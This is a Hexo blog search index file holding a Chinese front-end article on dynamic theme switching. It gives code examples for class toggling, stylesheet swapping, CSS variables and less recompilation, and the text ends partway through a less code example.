/
search.xml
1042 lines (585 loc) · 849 KB
/
search.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<?xml version="1.0" encoding="utf-8"?>
<search>
<entry>
<title>关于系统的动态主题切换</title>
<link href="/2019/10/20/Dynamic-theme-switching/"/>
<url>/2019/10/20/Dynamic-theme-switching/</url>
<content type="html"><![CDATA[<!-- build time:Sun Oct 27 2019 20:44:47 GMT+0800 (CST) --><blockquote><p>前段时间换了工作,从以前的天天跟产品对需求写业务,变成了现在天天翻 <code>Github</code> 看别人都怎么搭项目做组件库,虽然依然都是每天写代码,但博客却断更了。。。。话说从业务线转变到技术线之后,最大的体会就是,很多技术,不再是光会用就可以的了,还是得深入学习一下。</p><p>这篇博客,对我研究动态的系统主题切换这个问题过程中的一些尝试做一个总结。</p></blockquote><a id="more"></a><p>动态主题切换,通俗的说,就是用户可以自主的切换系统页面中的某一些元素的样式,例如字体,背景,边框颜色等等这些涉及到元素外观的 css 属性,当然可能还有一些少量的元素布局和尺寸上的一些调整。</p><p>动态主题切换,可以算做典型的看起来很简单,但做起来很麻烦的功能,主要的问题有以下几点:</p><ol><li><code>Css</code> 有限的逻辑表达能力,没有逻辑运算,继承,<code>mixin</code>,函数之类的特性</li><li>各前端框架带来了组件化潮流,使前端样式的组织不再对应于页面,而是内聚于组件,以及前端各种自带样式的组件库和<code>Css</code>框架的广泛使用</li><li><code>less</code> 和 <code>sass</code>的流行使得我们开发时编写的样式多了编译这一步</li><li>大部分项目并不注重对 <code>Css</code> 进行有效的抽离,组织,划分</li><li>可能涉及到页面自适应和媒体查询等其他逻辑</li></ol><p>问题说了这么多,我们再来看一下通常的主题切换功能的实现方式</p><h2 id="传统的动态主题切换"><a href="#传统的动态主题切换" class="headerlink" title="传统的动态主题切换"></a>传统的动态主题切换</h2><p>对于不使用前端框架或样式预处理器的传统网页,因为样式文件一般都是写好,然后直接引入的,因此切换主题还是比较简单的,在前端来说,通常有三种方式: 切换类名,切换 <code>Css</code> 文件,使用 <code>Css</code> 变量</p><ol><li><p>切换类名</p><p>这种方式是提前将元素主题相关的样式各自抽离到一个 <code>Css</code> 类中,然后通过 <code>js</code> 切换元素类名,使其呈现不同主题。</p><details><summary>一个示例</summary><figure class="highlight html"><figcaption><span>HTML</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">style</span>></span><span class="undefined"></span></span><br><span class="line"><span class="undefined">.container {</span></span><br><span class="line"><span class="undefined"> height: 400px;</span></span><br><span class="line"><span class="undefined"> width: 300px;</span></span><br><span class="line"><span class="undefined"> border: 1px solid #fda;</span></span><br><span class="line"><span class="undefined">}.theme-one.container {</span></span><br><span class="line"><span class="undefined"> background: #c4000c;</span></span><br><span class="line"><span class="undefined">}.theme-two.container {</span></span><br><span class="line"><span class="undefined"> background: #a08f37;</span></span><br><span class="line"><span class="undefined">}</span></span><br><span class="line"><span class="undefined"></span><span class="tag"></<span class="name">style</span>></span></span><br><span class="line"></span><br><span class="line"><span class="tag"><<span class="name">body</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">div</span> <span class="attr">class</span>=<span class="string">"container theme-one"</span>></span>demo page<span class="tag"></<span class="name">div</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">button</span> <span class="attr">id</span>=<span class="string">"toggleBtn"</span>></span>主题切换<span class="tag"></<span class="name">button</span>></span></span><br><span class="line"><span class="tag"></<span class="name">body</span>></span></span><br><span class="line"></span><br><span class="line"><span class="tag"><<span class="name">script</span>></span><span class="undefined"></span></span><br><span class="line"><span class="javascript"><span class="function"><span class="keyword">function</span> <span class="title">toggleTheme</span> (<span class="params"></span>) </span>{</span></span><br><span class="line"><span class="javascript"> <span class="keyword">const</span> con = <span class="built_in">document</span>.getElementsByClassName(<span class="string">'container'</span>)</span></span><br><span class="line"><span class="javascript"> <span class="keyword">const</span> conClass = con[<span class="number">0</span>].classList</span></span><br><span class="line"><span class="undefined"></span></span><br><span class="line"><span class="javascript"> <span class="keyword">if</span> (conClass.contains(<span class="string">'theme-one'</span>)) {</span></span><br><span class="line"><span class="javascript"> conClass.remove(<span class="string">'theme-one'</span>)</span></span><br><span class="line"><span class="javascript"> conClass.add(<span class="string">'theme-two'</span>)</span></span><br><span class="line"><span class="javascript"> } <span class="keyword">else</span> {</span></span><br><span class="line"><span class="javascript"> conClass.remove(<span class="string">'theme-two'</span>)</span></span><br><span class="line"><span class="javascript"> conClass.add(<span class="string">'theme-one'</span>)</span></span><br><span class="line"><span class="undefined"> }</span></span><br><span class="line"><span class="undefined">}</span></span><br><span class="line"><span class="undefined"></span></span><br><span class="line"><span class="javascript"><span class="built_in">window</span>.onload = <span class="function"><span class="keyword">function</span> (<span class="params"></span>)</span>{</span></span><br><span class="line"><span class="javascript"> <span class="keyword">const</span> btn = <span class="built_in">document</span>.getElementById(<span class="string">'toggleBtn'</span>)</span></span><br><span class="line"><span class="javascript"> btn.addEventListener(<span class="string">'click'</span>, toggleTheme)</span></span><br><span class="line"><span class="undefined">}</span></span><br><span class="line"><span class="undefined"></span><span class="tag"></<span class="name">script</span>></span></span><br></pre></td></tr></table></figure><br><br></details><p>这种方式的优点是切换主题是瞬时响应的,没有延迟,体验效果很好。</p><p>但缺点在于,在主题涉及到元素较多时,非常难以维护。我们不可能特地为每个元素去单独切换类名,所以就需要为相应元素添加一个标记从而使用通用的逻辑去处理所有涉及到的元素,例如为涉及主题切换的元素设置特定 <code>id</code> , 或者逐一检测元素类是否包含特定类名等,虽然可以通过类似于 <code>btn-theme1</code> 这种统一的<code>class</code> 命名规则合并一些相同元素,减少一些工作量,仍相当繁琐。</p></li></ol><ol start="2"><li><p>切换 <code>Css</code> 文件</p><p>将特定主题的样式都集中在单独的 <code>Css</code> 文件中,然后当用户切换主题时,使用<code>js</code> 切换对应的主题样式文件链接将其引入页面即可。</p><details><summary>一个示例</summary><figure class="highlight html"><figcaption><span>HTML</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"># one.css #</span><br><span class="line">.container {</span><br><span class="line"> height: 400px;</span><br><span class="line"> width: 300px;</span><br><span class="line"> border: 1px solid #fda;</span><br><span class="line"> background: #c4000c;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"># two.css #</span><br><span class="line">.container {</span><br><span class="line"> height: 400px;</span><br><span class="line"> width: 300px;</span><br><span class="line"> border: 1px solid #fda;</span><br><span class="line"> background: #a08f37;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"># page.html #</span><br><span class="line"><span class="tag"><<span class="name">link</span> <span class="attr">id</span>=<span class="string">"one"</span> <span class="attr">rel</span>=<span class="string">"stylesheet"</span> <span class="attr">type</span>=<span class="string">"text/css"</span> <span class="attr">href</span>=<span class="string">"style/one.css"</span>></span></span><br><span class="line"><span class="tag"><<span class="name">link</span> <span class="attr">id</span>=<span class="string">"two"</span> <span class="attr">rel</span>=<span class="string">"stylesheet"</span> <span class="attr">type</span>=<span class="string">"text/css"</span> <span class="attr">href</span>=<span class="string">"style/two.css"</span>></span></span><br><span class="line"></span><br><span class="line"><span class="tag"><<span class="name">body</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">div</span> <span class="attr">class</span>=<span class="string">"container"</span>></span>demo page<span class="tag"></<span class="name">div</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">button</span> <span class="attr">id</span>=<span class="string">"toggleBtn"</span>></span>主题切换<span class="tag"></<span class="name">button</span>></span></span><br><span class="line"><span class="tag"></<span class="name">body</span>></span></span><br><span class="line"></span><br><span class="line"><span class="tag"><<span class="name">script</span>></span><span class="undefined"></span></span><br><span class="line"><span class="javascript"><span class="function"><span class="keyword">function</span> <span class="title">toggleTheme</span> (<span class="params"></span>) </span>{</span></span><br><span class="line"><span class="javascript"> <span class="keyword">const</span> styleLink = <span class="built_in">document</span>.getElementById(<span class="string">'one'</span>)</span></span><br><span class="line"><span class="javascript"> <span class="keyword">const</span> href = styleLink.href</span></span><br><span class="line"><span class="undefined"></span></span><br><span class="line"><span class="javascript"> styleLink.href = href.indexOf(<span class="string">'one'</span>) === <span class="number">-1</span> ?<span class="string">'style/one.css'</span> : <span class="string">'style/two.css'</span></span></span><br><span class="line"><span class="undefined">}</span></span><br><span class="line"><span class="undefined"></span></span><br><span class="line"><span class="javascript"><span class="built_in">window</span>.onload = <span class="function"><span class="keyword">function</span> (<span class="params"></span>)</span>{</span></span><br><span class="line"><span class="javascript"> <span class="keyword">const</span> btn = <span class="built_in">document</span>.getElementById(<span class="string">'toggleBtn'</span>)</span></span><br><span class="line"><span class="javascript"> btn.addEventListener(<span class="string">'click'</span>, toggleTheme)</span></span><br><span class="line"><span class="undefined">}</span></span><br><span class="line"><span class="undefined"></span><span class="tag"></<span class="name">script</span>></span></span><br></pre></td></tr></table></figure><br><br></details><p>这种方式的优点是可以将各个主题相关样式集中在一起,便于维护,同时在页面加载时不需要请求多余主题样式,从性能上说也好一些。</p><p>缺点在于切换主题时,需要发起网络请求去获取样式文件,不能做到瞬时切换,且容易受到网络状况影响。</p></li><li><p>使用 <code>Css</code> 变量</p><p><code>Css</code> 变量类似于其他编程语言中的变量,可以为 <code>Css</code> 的编写提供较好的可维护性和语义化优势,同时又省去了使用预处理器所需要的编译步骤。</p><p><code>Css</code> 变量使用 <code>--variable</code> 来声明,使用 <code>var()</code> 方式来调用,类似如下:</p><figure class="highlight css"><figcaption><span>Css</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"> // 声明变量</span><br><span class="line"><span class="selector-pseudo">:root</span> {</span><br><span class="line"> <span class="attribute">--global-color</span>: <span class="number">#666</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">// 使用变量</span><br><span class="line"><span class="selector-class">.demo</span>{</span><br><span class="line"> <span class="attribute">color</span>: <span class="built_in">var</span>(--global-color);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><details><summary>一个基础的使用 <code>Css</code> 变量实现主题切换的例子</summary><figure class="highlight html"><figcaption><span>HTML</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">style</span>></span><span class="undefined"></span></span><br><span class="line"><span class="css"> <span class="selector-pseudo">:root</span> {</span></span><br><span class="line"><span class="css"> <span class="selector-tag">--main-color</span>: <span class="selector-id">#c4000c</span>;</span></span><br><span class="line"><span class="undefined"> }</span></span><br><span class="line"><span class="undefined"></span></span><br><span class="line"><span class="css"> <span class="selector-class">.container</span> {</span></span><br><span class="line"><span class="undefined"> height: 400px;</span></span><br><span class="line"><span class="undefined"> width: 300px;</span></span><br><span class="line"><span class="css"> <span class="selector-tag">border</span>: 1<span class="selector-tag">px</span> <span class="selector-tag">solid</span> <span class="selector-id">#fda</span>;</span></span><br><span class="line"><span class="undefined"> background: var(--main-color);</span></span><br><span class="line"><span class="undefined"> }</span></span><br><span class="line"><span class="undefined"></span><span class="tag"></<span class="name">style</span>></span></span><br><span class="line"></span><br><span class="line"><span class="tag"><<span class="name">body</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">div</span> <span class="attr">class</span>=<span class="string">"container theme-one"</span>></span>demo page<span class="tag"></<span class="name">div</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">button</span> <span class="attr">id</span>=<span class="string">"toggleBtn"</span>></span>主题切换<span class="tag"></<span class="name">button</span>></span></span><br><span class="line"><span class="tag"></<span class="name">body</span>></span></span><br><span class="line"></span><br><span class="line"><span class="tag"><<span class="name">script</span>></span><span class="undefined"></span></span><br><span class="line"><span class="javascript"><span class="function"><span class="keyword">function</span> <span class="title">toggleTheme</span>(<span class="params"></span>) </span>{</span></span><br><span class="line"><span class="javascript"> <span class="keyword">const</span> themeConfig = {</span></span><br><span class="line"><span class="javascript"> themeOneColor: <span class="string">'#c4000c'</span>,</span></span><br><span class="line"><span class="javascript"> themTwoColor: <span class="string">'#a08f37'</span></span></span><br><span class="line"><span class="undefined"> }</span></span><br><span class="line"><span class="undefined"></span></span><br><span class="line"><span class="javascript"> <span class="keyword">const</span> rootStyle = <span class="built_in">document</span>.querySelector(<span class="string">':root'</span>).style</span></span><br><span class="line"><span class="javascript"> <span class="keyword">const</span> mainColor = rootStyle.getPropertyValue(<span class="string">'--main-color'</span>);</span></span><br><span class="line"><span class="javascript"> <span class="keyword">const</span> newColor = mainColor === themeConfig.themeOneColor ? themeConfig.themTwoColor :themeConfig.themeOneColor</span></span><br><span class="line"><span class="undefined"> </span></span><br><span class="line"><span class="javascript"> rootStyle.setProperty(<span class="string">'--main-color'</span>, newColor)</span></span><br><span class="line"><span class="undefined">}</span></span><br><span class="line"><span class="undefined"></span></span><br><span class="line"><span class="javascript"> <span class="built_in">window</span>.onload = <span class="function"><span class="keyword">function</span> (<span class="params"></span>) </span>{</span></span><br><span class="line"><span class="javascript"> <span class="keyword">const</span> toggleBtn = <span class="built_in">document</span>.getElementById(<span class="string">'toggleBtn'</span>);</span></span><br><span class="line"><span class="javascript"> toggleBtn.addEventListener(<span class="string">'click'</span>, toggleTheme);</span></span><br><span class="line"><span class="undefined"> }</span></span><br><span class="line"><span class="undefined"></span><span class="tag"></<span class="name">script</span>></span></span><br></pre></td></tr></table></figure><br><br></details><p>主流浏览器目前基本都已经兼容了<code>Css</code> 变量,但遗憾的是 <code>IE</code> 全线不支持,包括 <code>IE 11</code> ,因此如果需要考虑主题切换兼容 <code>IE</code> 的话,这种方式就不合适了。<br>如果不考虑<code>IE</code> 的情况下,即使使用了预处理器,我们也可以通过这种方式来实现变量切换,是十分有效和简单的主题切换方式。</p></li></ol><h2 id="现代前端项目的动态主题切换"><a href="#现代前端项目的动态主题切换" class="headerlink" title="现代前端项目的动态主题切换"></a>现代前端项目的动态主题切换</h2><p>一个现代的前端项目,通俗的说也就是实现了前后端分离,组件化开发的 <code>SPA</code> 项目,这类项目一般都使用了某个前端框架,同时也通过<code>WebPack</code>等工具进行资源的打包,使用了 <code>Css</code> 预处理器对样式进行处理。<br><code>Css</code> 预处理器目前主流的就是 <code>less</code> 和 <code>sass</code>, 这两者基本是大同小异。各前端组件库中,使用两者的也都有,例如阿里的 <code>ant-design</code> 就是使用的 <code>less</code>,饿了么的 <code>Element-UI</code> 就使用的是 <code>sass</code>。<br>现代前端项目相比传统的后端直出页面,因为存在了组件化开发,打包,样式编译等步骤,实现动态主题切换,相对来说,更麻烦一些。<br>最麻烦的一点,就是<code>Css</code>预处理器这一关,我们在开发时,使用 <code>less</code> 或 <code>sass</code> 来书写样式,在经过相应编译后变成 <code>Css</code> ,并通过 <code>link</code> 标签插入到页面,通常这些流程都是通过 <code>webpack</code> 自动实现的,这也意味着如果我们想实现动态的切换样式,就需要介入编译或者打包这个过程。<br>目前主要有两种方式来实现前端 <code>SPA</code> 项目的动态主题切换。</p><ol><li><p>重新编译<br>这种方式将打包过程中样式预处理器的编译过程也搬到了前端一份,具体的,我们将各主题相关的样式集中在一个<code>less</code> 或 <code>scss</code> 文件中,在用户切换主题时,使用用户选定的主题相应值重新编译, <code>Ant-Design</code>的 <code>Angular</code> 实现 <code>Ng-Zorro</code> <a href="https://ng.ant.design/docs/introduce/zh" target="_blank" rel="noopener">官方网站</a>就是使用的这种方式。<br></p><details><summary>核心实现</summary><figure class="highlight typescript"><figcaption><span>TypeScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line"> <span class="comment">// 将主题相关的 `less` 样式插入到页面</span></span><br><span class="line"> initColor() {</span><br><span class="line"> <span class="keyword">const</span> node = <span class="built_in">document</span>.createElement(<span class="string">'link'</span>);</span><br><span class="line"> node.rel = <span class="string">'stylesheet/less'</span>;</span><br><span class="line"> node.type = <span class="string">'text/css'</span>;</span><br><span class="line"> node.href = <span class="string">'/assets/color.less'</span>;</span><br><span class="line"> <span class="built_in">document</span>.getElementsByTagName(<span class="string">'head'</span>)[ <span class="number">0</span> ].appendChild(node);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"><span class="comment">// 切换主题</span></span><br><span class="line"> changeTheme(primaryColor: <span class="built_in">string</span>) {</span><br><span class="line"> <span class="keyword">const</span> changeColor = <span class="function"><span class="params">()</span> =></span> {</span><br><span class="line"> <span class="built_in">window</span>.less.modifyVars({</span><br><span class="line"> <span class="string">'@primary-color'</span>: primaryColor</span><br><span class="line"> }).then(<span class="function"><span class="params">()</span> =></span> {</span><br><span class="line"> <span class="built_in">window</span>.scrollTo(<span class="number">0</span>, <span class="number">0</span>);</span><br><span class="line"> });</span><br><span class="line"> };</span><br><span class="line"></span><br><span class="line"> <span class="keyword">const</span> lessUrl = <span class="string">'https://cdnjs.cloudflare.com/ajax/libs/less.js/2.7.2/less.min.js'</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">window</span>.lessLoaded) {</span><br><span class="line"> changeColor();</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="built_in">window</span>.less = {</span><br><span class="line"> <span class="keyword">async</span>: <span class="literal">true</span></span><br><span class="line"> };</span><br><span class="line"> loadScript(lessUrl).then(<span class="function"><span class="params">()</span> =></span> {</span><br><span class="line"> <span class="built_in">window</span>.lessLoaded = <span class="literal">true</span>;</span><br><span class="line"> changeColor();</span><br><span class="line"> });</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 加载 less 编译器</span></span><br><span class="line"> loadScript(src: <span class="built_in">string</span>) {</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">new</span> <span class="built_in">Promise</span>(<span class="function">(<span class="params">resolve, reject</span>) =></span> {</span><br><span class="line"> <span class="keyword">const</span> script = <span class="built_in">document</span>.createElement(<span class="string">'script'</span>);</span><br><span class="line"> script.type = <span class="string">'text/javascript'</span>;</span><br><span class="line"> script.src = src;</span><br><span class="line"> script.onload = resolve;</span><br><span class="line"> script.onerror = reject;</span><br><span class="line"> <span class="built_in">document</span>.head.appendChild(script);</span><br><span class="line"> });</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p></p><p></p></details><br>实现的主要原理即通过在前端页面引入 <code>less</code>, <code>less</code>运行时会自动的将标识为 <code>stylesheet/less</code> 的文件编译为 <code>css</code> 插入页面,随后可以通过 <code>modifyVars</code> API 来修改其编译的 <code>less</code> 文件中的变量值 <code>less</code> 会自动使用此变量值重新编译和插入 <code>less</code> 文件,从而实现主题的动态切换。<p></p><p>与 <code>less</code> 最初就考虑了服务器端和浏览器端的编译,完全使用 <code>js</code>实现不同, <code>sass</code> 最初实现是完全基于 <code>ruby</code> 的,并未考虑浏览器端编译,只服务于服务器端编译,即使后来有了 <code>sass.js</code>,对浏览器端的编译支持也相当不完善,没有 <code>modifyVars</code> 类似的 API 来修改变量值并触发所有 <code>less</code> 样式标签重新编译,所以这个主题切换时重新编译的过程,就需要我们自己去手动的实现,带来的困难就是我们不能再将主题样式通过标签引入页面,而只能通过字符串的形式引入,并在每次切换主题时,在编译时向 <code>sass.js</code> 传递主题变量值,并在编译后手动将样式插入到页面替换原样式,十分的繁琐,但也不是不能实现。</p><p>这种动态切换主题的方式,因为引入了编译过程,不光能实现主题的切换,还可以实现用户完全自定义主题相关的变量并动态展示。</p><p>不过,这种将编译过程引入到前端的方式,在主题样式较多时,可能会存在较大的性能问题,同时还需要一段明显的用户等待转圈的时间,同时将编译过程引入到生产环境中,很多时候也是我们不能接受的。</p><p>所以这种方式很多时候是不合适的。</p><p>下面来介绍一下另一种方式,通过预处理器的模块化逻辑来实现打包多个主题样式,从而实现动态切换主题</p></li><li><p>通过预处理器的模块化逻辑<br>这种方式中,我们首先将包含了所有相关主题的元素样式文件导入到多个新文件中,并重新赋值为各主题相关的变量,再在一个出口文件中,通过多个不同类名下的<code>@import</code> 来导入,从而实现为样式文件中的所有选择器添加不同的顶级类名,再将入口文件编译后引入页面中,这样,我们甚至可以实现通过切换 <code>body</code> 的类名就实现切换主题,同时还可以完全不入侵系统。</p><details><summary>核心实现</summary><figure class="highlight less"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"> # <span class="selector-tag">gather_theme</span><span class="selector-class">.less</span> #</span><br><span class="line"> <span class="comment">// 在此文件中集中所有和主题相关的样式和样式文件</span></span><br><span class="line"> @import '....'</span><br><span class="line"> </span><br><span class="line"><span class="selector-tag">a</span>,<span class="selector-class">.link</span> {</span><br><span class="line"> <span class="attribute">color</span>: <span class="variable">@link-color</span>;</span><br><span class="line">}</span><br><span class="line"><span class="selector-class">.widget</span> {</span><br><span class="line"> <span class="attribute">color</span>: <span class="number">#fff</span>;</span><br><span class="line"> <span class="attribute">background</span>: <span class="variable">@link-color</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"># <span class="selector-tag">theme-one</span><span class="selector-class">.less</span> #</span><br><span class="line"><span class="comment">// 使用当前主题的值覆盖 less 变量</span></span><br><span class="line">@import "gather_theme";</span><br><span class="line"><span class="variable">@link-color:</span> <span class="number">#f03818</span>; </span><br><span class="line"></span><br><span class="line"># <span class="selector-tag">theme-two</span><span class="selector-class">.less</span> #</span><br><span class="line"><span class="comment">// 同样使用当前主题的值覆盖 less 变量</span></span><br><span class="line">@import "gather_theme";</span><br><span class="line"><span class="variable">@link-color:</span> <span class="number">#428bca</span>; </span><br><span class="line"> </span><br><span class="line"></span><br><span class="line"># <span class="selector-tag">theme-mixin</span><span class="selector-class">.less</span> #</span><br><span class="line"><span class="comment">// 